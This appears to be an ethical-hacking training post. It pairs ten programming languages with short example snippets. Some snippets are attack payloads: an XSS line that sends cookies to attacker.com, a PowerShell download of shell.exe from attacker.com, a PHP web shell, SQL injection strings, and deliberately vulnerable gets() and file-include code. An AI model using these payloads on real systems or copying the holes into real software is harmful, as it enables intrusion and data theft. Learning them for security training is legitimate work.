Here’s a list of programming languages essential for ethical hacking and cybersecurity Training, along with their key uses and learning priorities:
1. Python
Why Learn?
- 1 language for hacking and cybersecurity career (readable, versatile, vast libraries).
- Used for exploit development, automation, and tool creation.
Key Uses:
✔ Writing custom exploits (e.g., buffer overflows)
✔ Automating attacks (e.g., brute-forcing, scraping)
✔ Malware analysis & reverse engineering
Example:
python
import socket
target = "192.168.1.1"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 80))
s.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
print(s.recv(1024).decode())
2. Bash Scripting
Why Learn?
- Critical for Linux-based hacking and cybersecurity career(Kali Linux).
- Automates repetitive tasks (scanning, payloads).
Key Uses:
✔ Network scanning (e.g., `for ip in {1..254}; do ping -c 1 192.168.1.$ip; done`)
✔ Post-exploitation (e.g., data exfiltration)
Example:
bash
#!/bin/bash
for port in {1..65535}; do
timeout 1 bash -c "echo >/dev/tcp/192.168.1.1/$port" && echo "Port $port OPEN"
done
3. JavaScript
Why Learn?
- Web hacking (XSS, CSRF, API exploits).
- Manipulate browser/DOM for attacks.
Key Uses:
✔ Crafting XSS payloads (`<script>alert(1)</script>`)
✔ Node.js for server-side exploits
Example:
javascript
// Stealing cookies via XSS
fetch('http://attacker.com/log?cookie=' + document.cookie);
4. SQL
Why Learn?
- Database hacking (SQL injection, data theft).
- Understand backend queries.
Key Uses:
✔ Exploiting SQLi (`' OR 1=1 -- -`)
✔ Bypassing authentication
Example:
sql
UNION SELECT username, password FROM users--
5. C/C++
Why Learn?
- Low-level exploits (buffer overflows, rootkits).
- Reverse engineering binaries.
Key Uses:
✔ Writing shellcode
✔ Exploiting memory corruption
Example:
c
#include <stdio.h>
int main() {
char buffer[10];
gets(buffer); // Vulnerable to overflow
return 0;
}
6. PowerShell
Why Learn?
- Windows hacking (post-exploitation, AD attacks).
- Bypasses AV/restrictions.
Key Uses:
✔ Lateral movement in Windows
✔ Credential dumping (`Invoke-Mimikatz`)
Example:
powershell
Invoke-WebRequest "http://attacker.com/shell.exe" -OutFile "C:\Temp\shell.exe"
7. Ruby
Why Learn?
- Metasploit modules are written in Ruby.
- Quick exploit prototyping.
Key Uses:
✔ Custom Metasploit exploits
✔ Web app testing
Example:
ruby
# Simple TCP server
require 'socket'
server = TCPServer.new 4444
client = server.accept
client.puts "Hacked!"
8. PHP
Why Learn?
- Web app vulnerabilities (RCE, LFI/RFI).
- Analyze CMS exploits (WordPress, Joomla).
Key Uses:
✔ Crafting web shells (`<?php system($_GET['cmd']); ?>`)
✔ Understanding server-side flaws
Example:
php
<?php
if (isset($_GET['file'])) {
include($_GET['file']); // LFI vulnerability
}
?>
9. Assembly (x86/ARM)
Why Learn?
- Malware analysis & exploit dev.
- Understand CPU-level attacks.
Key Uses:
✔ Writing shellcode
✔ Reverse engineering malware
Example:
nasm
section .text
global _start
_start:
mov eax, 4 ; sys_write
mov ebx, 1 ; stdout
mov ecx, msg ; buffer
mov edx, len ; length
int 0x80 ; syscall
msg db "Hacked!", 0xa
len equ $ - msg
10. Go (Golang)
Why Learn?
- Modern malware/RATs use Go.
- Cross-platform exploits.
Key Uses:
✔ Building stealthy malware
✔ Network tools (scanners, proxies)
Example:
go
package main
import "net/http"
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Hacked!"))
})
http.ListenAndServe(":8080", nil)
}
cybersecurity Learning Roadmap
1. Start with Python/Bash (automation basics).
2. Add JavaScript/SQL (web hacking).
3. Learn C/PowerShell (low-level/Windows).
4. Explore Assembly (advanced exploits).
🚀 Pro Tip: Use TryHackMe /HTB challenges to practice!
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